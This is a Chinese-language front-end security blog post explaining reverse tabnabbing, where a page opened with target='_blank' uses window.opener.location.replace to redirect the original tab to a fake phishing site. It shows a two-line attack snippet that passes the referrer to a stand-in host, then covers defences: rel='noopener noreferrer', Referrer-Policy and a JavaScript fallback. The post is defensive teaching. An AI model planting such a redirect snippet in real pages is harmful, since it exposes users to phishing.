危險的 target="_blank" 與 “opener”

創宇前端發表於2018-03-07

在網頁中使用連結時,如果想要讓瀏覽器自動在新的標籤頁開啟指定的地址,通常的做法就是在 a 標籤上新增 target等於"_blank" 屬性。

然而,就是這個屬性,為釣魚攻擊者帶來了可乘之機。

起源

parentopener

在說 opener 之前,可以先聊聊 <iframe> 中的 parent

我們知道,在 <iframe> 中提供了一個用於父子頁面互動的物件,叫做 window.parent,我們可以通過 window.parent 物件來從框架中的頁面訪問父級頁面的 window

openerparent 一樣,只不過是用於 <a target="_blank"> 在新標籤頁開啟的頁面的。通過 <a target="_blank"> 開啟的頁面,可以直接使用 window.opener 來訪問來源頁面的 window 物件。

同域與跨域

瀏覽器提供了完整的跨域保護,在域名相同時,parent 物件和 opener 物件實際上就直接是上一級的 window 物件;而當域名不同時,parentopener 則是經過包裝的一個 global 物件。這個 global 物件僅提供非常有限的屬性訪問,並且在這僅有的幾個屬性中,大部分也都是不允許訪問的(訪問會直接丟擲 DOMException)。

危險的 target="_blank" 與 “opener”
危險的 target="_blank" 與 “opener”

<iframe> 中,提供了一個 sandbox 屬性用於控制框架中的頁面的許可權,因此即使是同域,也可以控制 <iframe> 的安全性。

利用

如果,你的網站上有一個連結,使用了 target="_blank",那麼一旦使用者點選這個連結並進入一個新的標籤,新標籤中的頁面如果存在惡意程式碼,就可以將你的網站直接導航到一個虛假網站。此時,如果使用者回到你的標籤頁,看到的就是被替換過的頁面了。

詳細步驟

  1. 在你的網站 https://example.com 上存在一個連結:

    <a href="https://an.evil.site" target="_blank">進入一個“邪惡”的網站</a>
    複製程式碼
  2. 使用者點選了這個連結,在新的標籤頁開啟了這個網站。這個網站可以通過 HTTP Header 中的 Referer 屬性來判斷使用者的來源。

    並且,這個網站上包含著類似於這樣的 JavaScript 程式碼:

    const url = encodeURIComponent('{{header.referer}}');
    window.opener.location.replace('https://a.fake.site/?' + url);
    複製程式碼
  3. 此時,使用者在繼續瀏覽這個新的標籤頁,而原來的網站所在的標籤頁此時已經被導航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F

  4. 惡意網站 https://a.fake.site 根據 Query String 來偽造一個足以欺騙使用者的頁面,並展示出來(期間還可以做一次跳轉,使得瀏覽器的位址列更具有迷惑性)。

  5. 使用者關閉 https://an.evil.site 的標籤頁,回到原來的網站………………已經回不去了。

上面的攻擊步驟是在跨域的情況下的,在跨域情況下,opener 物件和 parent 一樣,是受到限制的,僅提供非常有限的屬性訪問,並且在這僅有的幾個屬性中,大部分也都是不允許訪問的(訪問會直接丟擲 DOMException)。

但是與 parent 不同的是,在跨域的情況下,opener 仍然可以呼叫 location.replace 方法parent 則不可以。

如果是在同域的情況下(比如一個網站上的某一個頁面被植入了惡意程式碼),則情況要比上面嚴重得多。

防禦

<iframe> 中有 sandbox 屬性,而連結,則可以使用下面的辦法:

1. Referrer Policy 和 noreferrer

上面的攻擊步驟中,用到了 HTTP Header 中的 Referer 屬性,實際上可以在 HTTP 的響應頭中增加 Referrer Policy 頭來保證來源隱私安全。

Referrer Policy 需要修改後端程式碼來實現,而在前端,也可以使用 <a> 標籤的 rel 屬性來指定 rel="noreferrer" 來保證來源隱私安全。

<a href="https://an.evil.site" target="_blank" rel="noreferrer">進入一個“邪惡”的網站</a>
複製程式碼

但是要注意的是:即使限制了 referer 的傳遞,仍然不能阻止原標籤被惡意跳轉。

2. noopener

為了安全,現代瀏覽器都支援在 <a> 標籤的 rel 屬性中指定 rel="noopener",這樣,在開啟的新標籤頁中,將無法再使用 opener 物件了,它為設定為了 null

<a href="https://an.evil.site" target="_blank" rel="noopener">進入一個“邪惡”的網站</a>
複製程式碼

3. JavaScript

noopener 屬性看似是解決了所有問題,但是...瀏覽器的相容性問題...

危險的 target="_blank" 與 “opener”

可以看到,現在絕大多數瀏覽器都已經相容了 rel="noopener" 屬性了。但是,為了保護稍舊的“近代”瀏覽器或是很舊的“古代”瀏覽器甚至是“遠古”瀏覽器,只有 noopener 屬性還是遠遠不夠的。

這時,就只能請出下面這段原生 JavaScript 來幫忙了。

"use strict";
function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}
複製程式碼

推薦

首先,在網站中的連結上,如果使用了 target="_blank",就要帶上 rel="noopener",並且建議帶上 rel="noreferrer"。類似於這樣:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">進入一個“邪惡”的網站</a>
複製程式碼

當然,在跳轉到第三方網站的時候,為了 SEO 權重,還建議帶上 rel="nofollow",所以最終類似於這樣:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">進入一個“邪惡”的網站</a>
複製程式碼

效能

最後,再來說說效能問題。

如果網站使用了 <a target="_blank">,那麼新開啟的標籤頁的效能將會影響到當前頁面。此時如果新開啟的頁面中執行了一個非常龐大的 JavaScript 指令碼,那麼原始標籤頁也會受到影響,會出現卡頓的現象(當然不至於卡死)。

而如果在連結中加入了 noopener,則此時兩個標籤頁將會互不干擾,使得原頁面的效能不會受到新頁面的影響。


關注微信公眾號:創宇前端(KnownsecFED),碼上獲取更多優質乾貨!

危險的 target="_blank" 與 “opener”

相關文章